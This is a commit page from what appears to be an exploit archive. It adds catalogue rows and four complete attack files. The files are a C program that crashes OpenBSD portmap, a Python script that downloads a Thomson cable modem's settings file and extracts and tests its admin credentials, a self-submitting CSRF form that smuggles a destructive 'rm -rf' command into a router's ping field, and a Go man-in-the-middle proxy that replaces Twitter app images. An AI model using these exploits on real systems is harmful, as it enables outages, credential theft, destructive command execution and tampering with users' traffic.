Skip to content

Commit 37dce18

Browse files
author
Offensive Security
committed
DB: 2015-09-03
16 new exploits
1 parent 7669865 commit 37dce18

17 files changed

Lines changed: 1220 additions & 0 deletions

File tree

‎files.csv‎

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -34083,6 +34083,7 @@ id,file,description,date,author,platform,type,port
3408334083
37754,platforms/php/webapps/37754.txt,"WordPress Candidate Application Form Plugin 1.0 - Arbitrary File Download",2015-08-10,"Larry W. Cashdollar",php,webapps,80
3408434084
37755,platforms/windows/local/37755.c,"Windows 2k3 SP2 - TCP/IP IOCTL Privilege Escalation (MS14-070)",2015-08-12,"Tomislav Paskalev",windows,local,0
3408534085
37947,platforms/multiple/remote/37947.txt,"LiteSpeed Web Server 'gtitle' parameter Cross Site Scripting Vulnerability",2012-03-12,K1P0D,multiple,remote,0
34086+
37948,platforms/php/webapps/37948.txt,"Wordpress Slideshow Plugin Multiple Cross Site Scripting Vulnerabilities",2012-10-17,waraxe,php,webapps,0
3408634087
37949,platforms/linux/remote/37949.txt,"ModSecurity POST Parameters Security Bypass Vulnerability",2012-10-17,"Bernhard Mueller",linux,remote,0
3408734088
37950,platforms/php/webapps/37950.txt,"jCore /admin/index.php path Parameter XSS",2012-10-17,"High-Tech Bridge",php,webapps,0
3408834089
37951,platforms/windows/remote/37951.py,"Easy File Sharing Web Server 6.9 - USERID Remote Buffer Overflow",2015-08-24,"Tracy Turben",windows,remote,0
@@ -34163,6 +34164,8 @@ id,file,description,date,author,platform,type,port
3416334164
37937,platforms/linux/local/37937.c,"Linux Kernel 3.2.x 'uname()' System Call Local Information Disclosure Vulnerability",2012-10-09,"Brad Spengler",linux,local,0
3416434165
37938,platforms/php/webapps/37938.txt,"OpenX /www/admin/plugin-index.php parent Parameter XSS",2012-10-10,"High-Tech Bridge",php,webapps,0
3416534166
37939,platforms/php/webapps/37939.txt,"FileContral Local File Include and Local File Disclosure Vulnerabilities",2012-08-11,"Ashiyane Digital Security Team",php,webapps,0
34167+
38066,platforms/php/webapps/38066.txt,"WordPress Video Lead Form Plugin 'errMsg' Parameter Cross Site Scripting Vulnerability",2012-11-29,"Aditya Balapure",php,webapps,0
34168+
38067,platforms/hardware/webapps/38067.py,"Thomson Wireless VoIP Cable Modem TWG850-4B ST9C.05.08 - Authentication Bypass",2015-09-02,"Glaysson dos Santos",hardware,webapps,80
3416634169
37833,platforms/php/webapps/37833.txt,"YCommerce Multiple SQL Injection Vulnerabilities",2012-09-21,"Ricardo Almeida",php,webapps,0
3416734170
37834,platforms/linux/remote/37834.py,"Samba 3.5.11/3.6.3 Unspecified Remote Code Execution Vulnerability",2012-09-24,kb,linux,remote,0
3416834171
37835,platforms/php/webapps/37835.html,"WordPress Cross Site Request Forgery Vulnerability",2012-09-22,AkaStep,php,webapps,0
@@ -34367,3 +34370,16 @@ id,file,description,date,author,platform,type,port
3436734370
38054,platforms/windows/dos/38054.txt,"SiS Windows VGA Display Manager 6.14.10.3930 - Write-What-Where PoC",2015-09-01,KoreLogic,windows,dos,0
3436834371
38055,platforms/windows/dos/38055.txt,"XGI Windows VGA Display Manager 6.14.10.1090 - Arbitrary Write PoC",2015-09-01,KoreLogic,windows,dos,0
3436934372
38056,platforms/hardware/webapps/38056.txt,"Edimax BR6228nS/BR6228nC - Multiple Vulnerabilities",2015-09-01,smash,hardware,webapps,80
34373+
38057,platforms/php/webapps/38057.txt,"WordPress Magazine Basic Theme 'id' Parameter SQL Injection Vulnerability",2012-11-22,"Novin hack",php,webapps,0
34374+
38058,platforms/ios/remote/38058.py,"Twitter for iPhone Man in the Middle Security Vulnerability",2012-11-23,"Carlos Reventlov",ios,remote,0
34375+
38059,platforms/bsd/dos/38059.c,"OpenBSD 4.x Portmap Remote Denial of Service Vulnerability",2012-11-22,auto236751,bsd,dos,0
34376+
38060,platforms/php/webapps/38060.txt,"WordPress Ads Box Plugin 'count' Parameter SQL Injection Vulnerability",2012-11-26,"Ashiyane Digital Security Team",php,webapps,0
34377+
38061,platforms/php/webapps/38061.txt,"Beat Websites 'id' Parameter SQL Injection Vulnerability",2012-11-24,Metropolis,php,webapps,0
34378+
38062,platforms/multiple/webapps/38062.txt,"Forescout CounterACT 'a' Parameter Open Redirection Vulnerability",2012-11-26,"Joseph Sheridan",multiple,webapps,0
34379+
38063,platforms/php/webapps/38063.txt,"WordPress Wp-ImageZoom Theme 'id' Parameter SQL Injection Vulnerability",2012-11-26,Amirh03in,php,webapps,0
34380+
38064,platforms/php/webapps/38064.txt,"WordPress CStar Design 'id' Parameter SQL Injection Vulnerability",2012-11-27,Amirh03in,php,webapps,0
34381+
38065,platforms/osx/shellcode/38065.txt,"OS X x64 /bin/sh Shellcode_ NULL Byte Free_ 34 bytes",2015-09-02,"Fitzl Csaba",osx,shellcode,0
34382+
38072,platforms/windows/dos/38072.py,"SphereFTP Server 2.0 - Crash PoC",2015-09-02,"Meisam Monsef",windows,dos,21
34383+
38073,platforms/hardware/webapps/38073.html,"GPON Home Router FTP G-93RG1 - CSRF Command Execution Vulnerability",2015-09-02,"Phan Thanh Duy",hardware,webapps,80
34384+
38074,platforms/php/webapps/38074.txt,"Cerb 7.0.3 - CSRF Vulnerability",2015-09-02,"High-Tech Bridge SA",php,webapps,80
34385+
38075,platforms/system_z/shellcode/38075.txt,"Mainframe/System Z Bind Shell",2015-09-02,zedsec390,system_z,shellcode,0

‎platforms/bsd/dos/38059.c‎

Lines changed: 80 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,80 @@
1+
source: http://www.securityfocus.com/bid/56671/info
2+
3+
OpenBSD is prone to a remote denial-of-service vulnerability.
4+
5+
Successful exploits may allow the attacker to cause the application to crash, resulting in denial-of-service conditions.
6+
7+
OpenBSD versions prior to 5.2 are vulnerable.
8+
9+
/*
10+
* authors: 22733db72ab3ed94b5f8a1ffcde850251fe6f466
11+
* 6e2d3d47576f746e9e65cb4d7f3aaa1519971189
12+
* c8e74ebd8392fda4788179f9a02bb49337638e7b
13+
*
14+
* greetz: 43c86fd24bd63b100891ec4b861665e97230d6cf
15+
* e4c0f3f28cf322779375b71f1c14d6f8308f789d
16+
* 691cb088c45ec9e31823ca7ab0da8b4cf8079baf
17+
* b234a149e7ef00abc0f2ec7e6cf535ef4872eabc
18+
*
19+
*
20+
* -bash-4.2$ uname -a
21+
* OpenBSD obsd.my.domain 5.1 GENERIC#160 i386
22+
* -bash-4.2$ id
23+
* uid=32767(nobody) gid=32767(nobody) groups=32767(nobody)
24+
* -bash-4.2$ netstat -an -f inet | grep 111
25+
* tcp 0 0 127.0.0.1.111 *.* LISTEN
26+
* tcp 0 0 *.111 *.* LISTEN
27+
* udp 0 0 127.0.0.1.111 *.*
28+
* udp 0 0 *.111 *.*
29+
* -bash-4.2$ gcc openbsd_libc_portmap.c
30+
* -bash-4.2$ ./a.out
31+
* [+] This code doesn't deserve 1337 status output.
32+
* [+] Trying to crash portmap on 127.0.0.1:111
33+
* [+] 127.0.0.1:111 is now down.
34+
*
35+
*/
36+
37+
#include <stdio.h>
38+
#include <stdlib.h>
39+
#include <sys/socket.h>
40+
#include <sys/types.h>
41+
#include <netinet/in.h>
42+
#include <arpa/inet.h>
43+
44+
#define HOST "127.0.0.1"
45+
#define PORT 111
46+
#define LOOP 0x100
47+
48+
49+
int main(void)
50+
{
51+
int s, i;
52+
struct sockaddr_in saddr;
53+
54+
printf("[+] This code doesn't deserve 1337 status output.\n");
55+
printf("[+] Trying to crash portmap on %s:%d\n", HOST, PORT);
56+
57+
saddr.sin_family = AF_INET;
58+
saddr.sin_port = htons(PORT);
59+
saddr.sin_addr.s_addr = inet_addr(HOST);
60+
61+
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
62+
if(connect(s, (struct sockaddr *) &saddr, sizeof(struct sockaddr_in)) == -1) {
63+
printf("[-] %s:%d is already down.\n", HOST, PORT);
64+
return EXIT_FAILURE;
65+
}
66+
67+
/* # of iteration needed varies but starts working for > 0x30 */
68+
for(i=0; i < LOOP; ++i) {
69+
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
70+
connect(s, (struct sockaddr *) &saddr, sizeof(struct sockaddr_in));
71+
send(s, "8========@", 10, 0);
72+
}
73+
74+
if(connect(s, (struct sockaddr *) &saddr, sizeof(struct sockaddr_in)) == -1)
75+
printf("[+] %s:%d is now down.\n", HOST, PORT);
76+
else
77+
printf("[-] %s:%d is still listening. Try to increase loop iterations...\n");
78+
79+
return EXIT_SUCCESS;
80+
}

‎platforms/hardware/webapps/38067.py‎

Lines changed: 112 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,112 @@
1+
###############################################################################
2+
#+-////////////////////////////////////////////////////////////////////////////
3+
#+-
4+
#+- Exploit Title: Thomson Wireless VoIP Cable Modem Arbitrary File Access
5+
#+- Date: October 22, 2013
6+
#+- Author: Glaysson dos Santos
7+
#+-
8+
#+- Product: TWG850-4B Wireless VoIP Cable Modem
9+
#+- Software Version: ST9C.05.08
10+
#+- Hardware Version: 2.1
11+
#+- BOOT Revision: 2.1.7i
12+
#+- Standard Specification Compliant: DOCSIS 2.0
13+
#+- Firmware Name: DWG850-4-9C.05.08-110217-S-1FF.bin
14+
#+- Firmware Build Time 19:19:19 Thu Feb 17 2011
15+
#+- Severity: High
16+
#+-
17+
#+-\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
18+
################################################################################
19+
20+
21+
import string
22+
import urllib2
23+
import sys
24+
from time import sleep
25+
import base64
26+
import binascii
27+
import os
28+
29+
save = 'log_TWG8504B.txt'
30+
log = open(save,'w')
31+
bifi = 'GatewaySettings.bin'
32+
refi = 'RgComputers.asp'
33+
R_C = ("\033[0;31m")
34+
G_C = ("\033[1;32m")
35+
D_C = ("\033[0m" )
36+
37+
38+
def banner():
39+
os.system('clear')
40+
print "\nThomson Wireless VoIP Cable Modem DWG850 -4B (Software Version:ST9C.05.08)- Arbitrary File Read\n \
41+
\t- 2013 - Glaysson dos Santos (0cn1)\n\n"
42+
43+
44+
def hr_data(filename, min=4):
45+
with open(filename, "rb") as f:
46+
result = ""
47+
for c in f.read():
48+
if c in string.printable:
49+
result += c
50+
continue
51+
if len(result) >= min:
52+
yield result
53+
print >> log, result
54+
result = ""
55+
print "(+)- Others Informations Extracted Saved in %s, but you've a Admin Password :D\n"%(save)
56+
57+
def checkcreds(router,username,password):
58+
auth_handler = urllib2.HTTPBasicAuthHandler()
59+
auth_handler.add_password(realm='Thomson',
60+
uri = router,
61+
user = username,
62+
passwd= password)
63+
opener = urllib2.build_opener(auth_handler)
64+
try:
65+
urllib2.install_opener(opener)
66+
status = urllib2.urlopen('%s/%s'%(router,refi))
67+
print '(+)- [status:%s%s%s] Authenticated successfuly, Enjoy it!'%(G_C,status.code,D_C)
68+
69+
except urllib2.URLError, e:
70+
if e.code == 401:
71+
print '(+)- [status:%s%s%s] Invalid Credentials! Try yourself in a browser.'%(R_C,e.code,D_C)
72+
73+
def checkvuln(router):
74+
try:
75+
print '(+)- Checking if target is vulnerable...'
76+
req = urllib2.Request('%s/%s'%(router,bifi))
77+
response = urllib2.urlopen(req)
78+
page = response.read()
79+
x = open(bifi,'wb')
80+
x.write(page)
81+
x.close()
82+
sleep(1)
83+
print '(+)- The target appears to be vulnerable, lets check it better!'
84+
print '(+)- Searching Credentials...'
85+
sleep(1)
86+
for s in hr_data(bifi):
87+
try:
88+
dec = base64.decodestring(s)
89+
if dec.find(':') != -1:
90+
user,passwd = dec.split(':')
91+
print '(+)- User: %s%s%s'%(G_C,user,D_C)
92+
print '(+)- Pass: %s%s%s'%(G_C,passwd,D_C)
93+
94+
print '(+)- Checking if creds are OK...'
95+
checkcreds(router,user,passwd)
96+
97+
except(binascii.Error):
98+
pass
99+
except urllib2.URLError, e:
100+
print '[$] hollyshit! the target is not vuln! o.O (%s%s%s)'%(R_C,e.reason[1],D_C)
101+
sys.exit(1)
102+
103+
if __name__ == "__main__":
104+
banner()
105+
if len(sys.argv) != 2:
106+
print '[!] %sRun %s router IP%s\n'%(R_C,sys.argv[0],D_C)
107+
sys.exit(2)
108+
109+
router = sys.argv[1]
110+
if not "http" in router:
111+
router = "http://"+(sys.argv[1])
112+
checkvuln(router)

‎platforms/hardware/webapps/38073.html‎

Lines changed: 48 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,48 @@
1+
<!--
2+
######################################################################
3+
# Exploit Title: GPON Home CSRF With Command ExecuteVulnerability
4+
# Author: Phan Thanh Duy (logicaway) - KAISAI12 (ceh.vn)
5+
# E-mail:(facebook https://www.facebook.com/duy.phanthanh.75),(
6+
https://www.facebook.com/kai.sai.35)
7+
# Category: Hardware
8+
# Google Dork: N/A
9+
# Vendor: FTP Viet Nam
10+
# Firmware Version: 3.0.0 Build 120531
11+
# Product: FTP G-93RG1
12+
#
13+
#
14+
# Tested on: Windows 8 64-bit
15+
######################################################################
16+
17+
#Introduction
18+
==============
19+
20+
#Description of Vulnerability
21+
=============================
22+
Execute command with CSRF
23+
24+
#Exploit
25+
========
26+
-->
27+
28+
<html>
29+
<head>
30+
<title>CSRF Demo Exploit</title>
31+
</head>
32+
<body>
33+
34+
<form name="auto" method="POST"
35+
action="http://192.168.1.1/GponForm/diag_XForm"
36+
enctype="multipart/form-data">
37+
<input type="hidden" name="XWebPageName" value="diag"/>
38+
<input type="hidden" name="diag_action" value="ping"/>
39+
<input type="hidden" name="wan_conlist" value="0"/>
40+
<input type="hidden" name="dest_host" value="`rm -rf stuff`"/>
41+
<input type="hidden" name="ipver" value="0"/>
42+
<!-- input type="submit" name="submit"/> -->
43+
</form>
44+
<script type="text/javascript">
45+
document.auto.submit();
46+
</script>
47+
</body>
48+
</html>

‎platforms/ios/remote/38058.py‎

Lines changed: 115 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,115 @@
1+
source: http://www.securityfocus.com/bid/56665/info
2+
3+
Twitter for iPhone is prone to a security vulnerability that lets attackers to perform a man-in-the-middle attack.
4+
5+
Attackers can exploit this issue to capture and modify pictures that the user sees in the application.
6+
7+
Twitter for iPhone 5.0 is vulnerable; other versions may also be affected.
8+
9+
/*
10+
Twitter App, eavesdroping PoC
11+
12+
Written by Carlos Reventlov <carlos@reventlov.com>
13+
License MIT
14+
*/
15+
16+
package main
17+
18+
import (
19+
"fmt"
20+
"github.com/xiam/hyperfox/proxy"
21+
"github.com/xiam/hyperfox/tools/logger"
22+
"io"
23+
"log"
24+
"os"
25+
"path"
26+
"strconv"
27+
"strings"
28+
)
29+
30+
const imageFile = "spoof.jpg"
31+
32+
func init() {
33+
_, err := os.Stat(imageFile)
34+
if err != nil {
35+
panic(err.Error())
36+
}
37+
}
38+
39+
func replaceAvatar(pr *proxy.ProxyRequest) error {
40+
stat, _ := os.Stat(imageFile)
41+
image, _ := os.Open(imageFile)
42+
43+
host := pr.Response.Request.Host
44+
45+
if strings.HasSuffix(host, "twimg.com") == true {
46+
47+
if pr.Response.ContentLength != 0 {
48+
49+
file := "saved" + proxy.PS + pr.FileName
50+
51+
var ext string
52+
53+
contentType := pr.Response.Header.Get("Content-Type")
54+
55+
switch contentType {
56+
case "image/jpeg":
57+
ext = ".jpg"
58+
case "image/gif":
59+
ext = ".gif"
60+
case "image/png":
61+
ext = ".png"
62+
case "image/tiff":
63+
ext = ".tiff"
64+
}
65+
66+
if ext != "" {
67+
fmt.Printf("** Saving image.\n")
68+
69+
os.MkdirAll(path.Dir(file), os.ModeDir|os.FileMode(0755))
70+
71+
fp, _ := os.Create(file)
72+
73+
if fp == nil {
74+
fmt.Errorf(fmt.Sprintf("Could not open file %s for writing.", file))
75+
}
76+
77+
io.Copy(fp, pr.Response.Body)
78+
79+
fp.Close()
80+
81+
pr.Response.Body.Close()
82+
}
83+
84+
}
85+
86+
fmt.Printf("** Sending bogus image.\n")
87+
88+
pr.Response.ContentLength = stat.Size()
89+
pr.Response.Header.Set("Content-Type", "image/jpeg")
90+
pr.Response.Header.Set("Content-Length",
91+
strconv.Itoa(int(pr.Response.ContentLength)))
92+
pr.Response.Body = image
93+
}
94+
95+
return nil
96+
}
97+
98+
func main() {
99+
100+
p := proxy.New()
101+
102+
p.AddDirector(logger.Client(os.Stdout))
103+
104+
p.AddInterceptor(replaceAvatar)
105+
106+
p.AddLogger(logger.Server(os.Stdout))
107+
108+
var err error
109+
110+
err = p.Start()
111+
112+
if err != nil {
113+
log.Printf(fmt.Sprintf("Failed to bind: %s.\n", err.Error()))
114+
}
115+
}

0 commit comments

Comments
 (0)